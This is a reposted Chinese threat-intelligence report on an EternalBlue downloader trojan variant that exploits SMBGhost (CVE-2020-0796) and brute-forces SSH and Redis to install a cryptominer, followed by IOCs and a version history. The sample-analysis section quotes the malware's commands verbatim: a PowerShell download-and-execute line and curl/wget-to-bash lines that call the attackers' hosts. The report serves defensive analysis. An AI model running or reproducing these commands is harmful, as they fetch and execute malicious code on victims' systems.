搜索

[28347] 2020-06-12_“黑球”行动再升级，SMBGhost漏洞攻击进入实战

文档创建者：s7ckTeam
浏览次数：57
最后更新：2025-01-19
2020-06-12_“黑球”行动再升级，SMBGhost漏洞攻击进入实战 “ 黑 球 ” 行 动 再 升 级 ， S M B G h o s t 漏 洞 攻 击 进 入 实 战 腾 讯 电 脑 管 家   O t s 安 全   2 0 2 0 - 0 6 - 1 2 【 文 章 摘 要 】 2 0 2 0 年 6 月 1 0 日 ， 腾 讯 安 全 威 胁 情 报 中 心 检 测 到 永 恒 之 蓝 下 载 器 木 马 出 现 变 种 ， 首 次 启 用 S M B G h o s t 漏 洞 攻 击 。 永 恒 之 蓝 下 载 器 木 马 还 新 增 了 针 对 L i n u x 系 统 的 远 程 攻 击 ， 挖 矿 活 动 会 大 量 消 耗 企 业 服 务 器 资 源 ， 使 正 常 业 务 受 严 重 影 响 。 中 小 微 企 业 用 户 可 使 用 腾 讯 电 脑 管 家 小 团 队 版 对 永 恒 之 蓝 木 马 下 载 器 相 关 病 毒 木 马 进 行 检 测 查 杀 ， 并 实 时 检 测 团 队 设 备 运 行 状 况 。 一 、 背 景 一 、 背 景 2 0 2 0 年 6 月 1 0 日 ， 腾 讯 安 全 威 胁 情 报 中 心 检 测 到 永 恒 之 蓝 下 载 器 木 马 出 现 变 种 。 此 次 变 种 在 上 个 版 本 “ 黑 球 ” 行 动 中 检 测 S M B G h o s t 漏 洞 的 基 础 上 首 次 启 用 S M B G h o s t 漏 洞 攻 击 ， 之 前 的 若 干 种 病 毒 只 是 利 用 S M B G h o s t 漏 洞 做 扫 描 检 测 ， 并 无 实 质 性 攻 击 利 用 。 本 次 更 新 还 启 用 了 S S H 爆 破 以 及 新 增 R e d i s 爆 破 能 力 攻 击 L i n u x 系 统 。 由 于 S M B G h o s t 漏 洞 C V E - 2 0 2 0 - 0 7 9 6 利 用 W i n d o w s   S M B 漏 洞 远 程 攻 击 获 取 系 统 最 高 权 限 ， 可 直 接 攻 击 S M B 服 务 造 成 R C E （ 远 程 代 码 执 行 ） ， 存 在 漏 洞 的 计 算 机 只 要 联 网 就 可 能 被 黑 客 探 测 攻 击 ， 并 获 得 系 统 最 高 权 限 。 存 在 漏 洞 的 计 算 机 只 要 联 网 就 可 能 被 黑 客 探 测 攻 击 ， 并 获 得 系 统 最 高 权 限 。 使 得 木 马 针 对 W i n d o w s 系 统 的 攻 击 威 力 再 次 增 强 。 此 外 永 恒 之 蓝 下 载 器 木 马 还 新 增 了 针 对 L i n u x 系 统 的 远 程 攻 击 ， 在 失 陷 系 统 创 建 定 时 任 务 并 植 入 挖 矿 木 马 功 能 ， 使 得 其 攻 击 的 范 围 继 续 扩 大 ， 包 括 云 上 L i n u x 主 机 等 都 可 能 成 为 攻 击 目 标 。 永 恒 之 蓝 本 次 更 新 的 主 要 目 的 是 释 放 挖 矿 木 马 ， 并 会 按 照 惯 例 在 开 始 挖 矿 前 ， 清 除 其 他 挖 矿 木 马 ， 以 便 独 占 系 统 资 源 。 挖 矿 活 动 会 大 量 消 耗 企 业 服 务 器 资 源 ， 使 正 常 业 务 受 严 重 影 响 。 腾 讯 安 全 系 列 安 全 产 品 已 支 持 该 病 毒 的 检 测 和 清 除 腾 讯 安 全 系 列 安 全 产 品 已 支 持 该 病 毒 的 检 测 和 清 除 ， 腾 讯 安 全 威 胁 情 报 中 心 曾 多 次 发 布 S M B G h o s t 漏 洞 风 险 提 示 ， 至 今 仍 有 近 三 分 之 一 的 系 统 未 修 补 该 漏 洞 ， 我 们 再 次 强 烈 建 议 所 有 用 户 尽 快 修 补 S M B G h o s t 漏 洞 （ C V E - 2 0 2 0 - 0 7 9 6 ） 。 二 、 解 决 方 案 二 、 解 决 方 案 永 恒 之 蓝 木 马 下 载 器 利 用 多 种 流 行 的 攻 击 方 式 ， 包 括 高 危 漏 洞 利 用 、 爆 破 攻 击 、 感 染 可 移 动 设 备 、 钓 鱼 邮 件 攻 击 ， 对 企 业 用 户 危 害 严 重 。 S M B G h o s t 漏 洞 利 用 会 导 致 完 全 控 制 企 业 服 务 器 ， 可 能 造 成 严 重 信 息 泄 露 事 件 。 中 小 微 企 业 用 户 可 使 用 腾 讯 电 脑 管 家 小 团 队 腾 讯 电 脑 管 家 小 团 队 版 版 （ （ h t t p s : / / t e a m . q q . c o m / s i t e / i n d e x . h t m l ） ） ， 对 永 恒 之 蓝 木 马 下 载 器 相 关 病 毒 木 马 进 行 检 测 查 杀 ， 并 实 时 检 测 团 队 设 备 运 行 状 况 。 腾 讯 电 脑 管 家 小 团 队 版 面 向 中 小 微 企 业 ， 功 能 丰 富 且 永 久 免 费 。 企 业 只 需 注 册 并 下 载 客 户 端 ， 即 可 免 费 享 受 专 业 的 终 端 安 全 管 理 服 务 ， 有 效 满 足 中 小 企 业 安 全 运 维 降 本 增 效 的 诉 求 。 管 理 后 台 的 首 页 概 览 可 帮 助 管 理 员 了 解 当 前 团 队 的 总 体 设 备 安 全 状 态 、 预 警 情 况 、 资 产 管 理 ， 同 时 还 展 示 了 团 队 的 网 络 资 源 使 用 情 况 和 公 告 投 放 的 进 度 。 预 警 卡 片 将 为 管 理 员 展 示 当 前 团 队 中 有 异 常 的 设 备 数 ， 预 警 的 内 容 包 括 设 备 安 全 状 态 的 预 警 、 设 备 运 行 健 康 度 的 预 警 和 硬 件 变 更 类 的 预 警 ， 实 时 检 测 团 队 设 备 安 全 。 三 、 样 本 分 析 三 、 样 本 分 析 攻 击 模 块 i f . b i n 在 s m b g h o s t _ e x e c 函 数 中 利 用 从 h x x p : / / d . a c k n g . c o m / s m g h . b i n 下 载 的 S M B G h o s t 漏 洞 攻 击 程 序 发 起 攻 击 ， 攻 击 成 功 后 远 程 执 行 以 下 s h e l l c o d e : p o w e r s h e l l   I E x ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n L o a d S t r i n g ( ' ' h t t p [ : ] / / / t . a m y n x . c o m / s m g h o . j s p ? 0 . 8 * % c o m p u t e r n a m e % ' ' )
发 起 针 对 L i n u x 服 务 器 的 攻 击 ： 1 、   利 用 S S H 爆 破 扫 描 2 2 端 口 进 行 探 测 ， 针 对 L i n u x 系 统 r o o t 用 户 ， 尝 试 利 用 弱 密 码 进 行 爆 破 连 接 ， 爆 破 登 陆 成 功 后 执 行 远 程 命 令 ： S r c = s s h o ; ( c u r l   - f s S L   h t t p [ : ] / / t . a m y n x . c o m / l n / c o r e . p n g ? 0 . 8 * s s h o * ` w h o a m i ` * ` h o s t n a m e ` | | w g e t   - q   - O -   h t t p [ : ] / / t . a m y n x . c o m / l n / c o r e . p n g ? 0 . 8 * s s h o * ` w h o a m i ` * ` h o s t n a m e ` )   |   b a s h 2 、   利 用 R e d i s 未 授 权 访 问 漏 洞 扫 描 6 3 7 9 端 口 进 行 探 测 ， 在 函 数 r e d i s e x e c 中 尝 试 连 接 未 设 置 密 码 的 r e d i s 服 务 器 ， 访 问 成 功 后 执 行 远 程 命 令 ： e x p o r t   s r c = r d s o ; c u r l   - f s S L t . a m y n x . c o m / l n / c o r e . p n g ? r d s o | b a s h S S H 爆 破 和 R e d i s 爆 破 登 陆 成 功 均 会 执 行 L i n u x   S h e l l 脚 本 c o r e . p n g ， 该 脚 本 主 要 有 以 下 功 能 ： 1 、   创 建 c r o n t a b 定 时 任 务 下 载 和 执 行 脚 本 h t t p [ : ] / / t . a m y n x . c o m / l n / a . a s p 2 、   创 建 c r o n t a b 定 时 启 动 L i n u x 平 台 挖 矿 木 马 / . X l l / x r 通 过 定 时 任 务 执 行 的 a . a s p 首 先 会 清 除 竞 品 挖 矿 木 马 ， 然 后 通 过 获 取 / r o o t / . s s h o w n _ h o s t s 中 记 录 的 本 机 S S H 登 陆 过 的 I P ， 重 新 与 该 机 器 建 立 连 接 进 行 内 网 扩 散 攻 击 ： 创 建 目 录 / . X l l 并 下 载 挖 矿 木 马 （ d [ . ] a c k n g . c o m / l n / x r . z i p ） 到 该 目 录 下 ， 解 压 得 到 x r 并 连 接 矿 池 l p l p . a c k n g . c o m : 4 4 4 启 动 挖 矿 。 永 恒 之 蓝 下 载 器 木 马 自 2 0 1 8 年 底 诞 生 以 来 一 直 处 于 高 度 活 跃 状 态 ， 目 前 该 木 马 会 通 过 以 下 方 法 进 行 扩 散 传 播 ： 漏 洞 利 用 漏 洞 利 用 弱 口 令 爆 破 弱 口 令 爆 破 感 染 可 移 动 设 备 感 染 可 移 动 设 备 鱼 叉 攻 击 鱼 叉 攻 击 “ 永 恒 之 蓝 ” 漏 洞 利 用 M S 1 7 - 0 1 0 $ I P C 爆 破 通 过 U 盘 、 网 络 共 享 盘 以 新 冠 肺 炎 等 多 种 主 题 L n k 漏 洞 利 用 C V E - 2 0 1 7 - 8 4 6 4 S M B 爆 破 创 建 带 漏 洞 l n k 文 件 、 j s 文 件 D O C 漏 洞 文 档 、 j s 文 件 诱 饵 O f f i c e 漏 洞 利 用 C V E - 2 0 1 7 - 8 5 7 0 M S   S Q L 爆 破 S M B G h o s t 漏 洞 利 用 C V E - 2 0 2 0 - 0 7 9 6 R D P 爆 破
R e d i s 未 授 权 访 问 漏 洞 ( 针 对 L i n u x ) S S H 爆 破 ( 针 对 L i n u x ) 截 止 2 0 2 0 年 6 月 1 2 日 ， 永 恒 之 蓝 木 马 下 载 器 家 族 主 要 版 本 更 新 功 能 列 表 如 下 ： 2 0 1 8 年 1 2 月 1 4 日 利 用 “ 驱 动 人 生 ” 系 列 软 件 升 级 通 道 下 载 ， 利 用 “ 永 恒 之 蓝 ” 漏 洞 攻 击 传 播 。 2 0 1 8 年 1 2 月 1 9 日 下 载 之 后 的 木 马 新 增 P o w e r s h e l l 后 门 安 装 。 2 0 1 9 年 1 月 9 日 检 测 到 挖 矿 组 件 x m r i g - 3 2 . m l z / x m r i g - 6 4 . m l z 下 载 。 2 0 1 9 年 1 月 2 4 日 木 马 将 挖 矿 组 件 、 升 级 后 门 组 件 分 别 安 装 为 计 划 任 务 ， 并 同 时 安 装 P o w e r s h e l l 后 门 。 2 0 1 9 年 1 月 2 5 日 木 马 在 1 月 2 4 日 的 基 础 上 再 次 更 新 ， 将 攻 击 组 件 安 装 为 计 划 任 务 ， 在 攻 击 时 新 增 利 用 m i m i k a t z 搜 集 登 录 密 码 ， S M B 弱 口 令 爆 破 攻 击 ， 同 时 安 装 P o w e r s h e l l 计 划 任 务 和 h t a 计 划 任 务 。 2 0 1 9 年 2 月 1 0 日 将 攻 击 模 块 打 包 方 式 改 为 P y i n s t a l l e r 。 2 0 1 9 年 2 月 2 0 日 更 新 矿 机 组 件 ， 下 载 释 放 X M R i g 矿 机 ， 以 独 立 进 程 启 动 挖 矿 。 2 0 1 9 年 2 月 2 3 日 攻 击 方 法 再 次 更 新 ， 新 增 M s S Q L 爆 破 攻 击 。 2 0 1 9 年 2 月 2 5 日 在 2 月 2 3 日 基 础 上 继 续 更 新 ， 更 新 M s S Q L 爆 破 攻 击 时 密 码 字 典 ， 添 加 样 本 文 件 签 名 。 至 此 攻 击 方 法 集 成 永 恒 之 蓝 漏 洞 攻 击 、 S M B 爆 破 攻 击 、 M s S Q L 爆 破 攻 击 ， 同 时 使 用 黑 客 工 具 m i m i k t a z 、 p s e x e c 进 行 辅 助 攻 击 。 2 0 1 9 年 3 月 6 日 通 过 已 感 染 机 器 后 门 更 新 P o w e r s h e l l 脚 本 横 向 传 播 模 块 i p c 。 2 0 1 9 年 3 月 8 日 通 过 已 感 染 机 器 后 门 更 新 P E 文 件 横 向 传 播 模 块 i i . e x e ， 采 用 无 文 件 攻 击 技 术 。 该 团 伙 使 用 的 P o w e r s h e l l 攻 击 代 码 与 2 0 1 8 年 9 月 发 现 的 M y k i n g s 僵 尸 网 络 变 种 攻 击 代 码 有 诸 多 相 似 之 处 。 2 0 1 9 年 3 月 1 4 日 通 过 后 门 更 新 增 肥 木 马 大 小 、 生 成 随 机 文 件 M D 5 逃 避 查 杀 ， 将 生 成 的 大 文 件 木 马 拷 贝 到 多 个 系 统 目 录 并 通 过 注 册 表 启 动 项 、 开 始 菜 单 启 动 项 、 计 划 任 务 进 自 启 动 。 2 0 1 9 年 3 月 2 8 日 更 新 无 文 件 攻 击 模 块 ， 更 后 新 的 攻 击 方 式 为 ： 永 恒 之 蓝 漏 洞 攻 击 、 弱 口 令 爆 破 + W M I C 、   P a s s   t h e   h a s h + S M B C l i e n t / S M B E x e c ， 并 通 过 P a y l o a d 安 装 计 划 任 务 将 木 马 具 有 的 多 个 恶 意 程 序 进 行 下 载 。 2 0 1 9 年 4 月 3 日 开 创 无 文 件 挖 矿 新 模 式 ： 挖 矿 脚 本 由 P o w e r S h e l l 下 载 在 内 存 中 执 行 。 2 0 1 9 年 7 月 1 9 日 无 文 件 攻 击 方 法 新 增 C V E - 2 0 1 7 - 8 4 6 4   L n k 漏 洞 利 用 攻 击 ， 感 染 启 动 盘 和 网 络 共 享 盘 ， 新 增 M s S Q L 爆 破 攻 击 。 2 0 1 9 年 1 0 月 9 日 新 增 B l u e k e e p 漏 洞 C V E - 2 0 1 9 - 0 7 0 8 检 测 上 报 功 能 。 2 0 2 0 年 2 月 1 2 日 使 用 D G A 域 名 ， 篡 改 h o s t s 文 件 。 2 0 2 0 年 4 月 3 日 新 增 钓 鱼 邮 件 传 播 ， 邮 件 附 件 u r g e n t . d o c 包 含 O f f i c e 漏 洞 C V E - 2 0 1 7 - 8 5 7 0 。 2 0 2 0 年 4 月 1 7 日 钓 鱼 邮 件 新 增 附 件 r e a d m e . z i p 、 r e a d m e . d o c ， 新 增 B y p a s s   U A C 模 块 7 p . p h p ， 创 建 r e a d m e . j s 文 件 感 染 可 移 动 盘 、 网 络 共 享 盘 2 0 2 0 年 5 月 2 1 日 新 增 S M B G h o s t 漏 洞 C V E - 2 0 2 0 - 0 7 9 6 检 测 上 报 功 能 ， 新 增 S S H 爆 破 代 码 （ 未 调 用 ） 。
2 0 2 0 年 6 月 1 0 日 新 增 S M B G h o s t 漏 洞 C V E - 2 0 2 0 - 0 7 9 6 利 用 攻 击 ， 新 增 S S H 爆 破 、 R e d i s 爆 破 攻 击 L i n u x 服 务 器 并 植 入 L i n u x 平 台 挖 矿 木 马 。 I O C s D o m a i n t . a m y n x . c o m t . z e r 9 g . c o m t . z z 3 r 0 . c o m d . a c k n g . c o m U R L h t t p [ : ] / / t . a m y n x . c o m / s m g h . j s p h t t p [ : ] / / t . a m y n x . c o m / a . j s p h t t p [ : ] / / t . a m y n x . c o m / l n / a . a s p h t t p [ : ] / / t . a m y n x . c o m / l n / c o r e . p n g h t t p [ : ] / / d . a c k n g . c o m / i f . b i n h t t p [ : ] / / d . a c k n g . c o m / s m g h . b i n h t t p [ : ] / / d . a c k n g . c o m / l n / x r . z i p M d 5 i f . b i n 9 9 e c c a 0 8 2 3 6 f 6 c f 7 6 6 d 7 d 8 e 2 c c 3 4 e f f 6 x r . z i p 2 9 7 7 0 8 4 f 9 c e 3 e 9 e 2 d 3 5 6 a d a f 2 b 5 b d c f d c o r e . p n g 1 7 7 0 3 5 2 3 f 5 1 3 7 b c 0 7 5 5 a 7 e 4 f 1 3 3 f c 9 d 3 a . a s p 8 b 0 c b 7 a 0 7 6 0 e 0 2 2 5 6 4 4 6 5 e 5 0 c e 3 2 7 1 b b s m g h . b i n 5 b 3 c 4 4 b 5 0 3 c 7 e 5 9 2 e 4 1 6 f 6 8 d 3 9 2 4 6 2 0 f
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理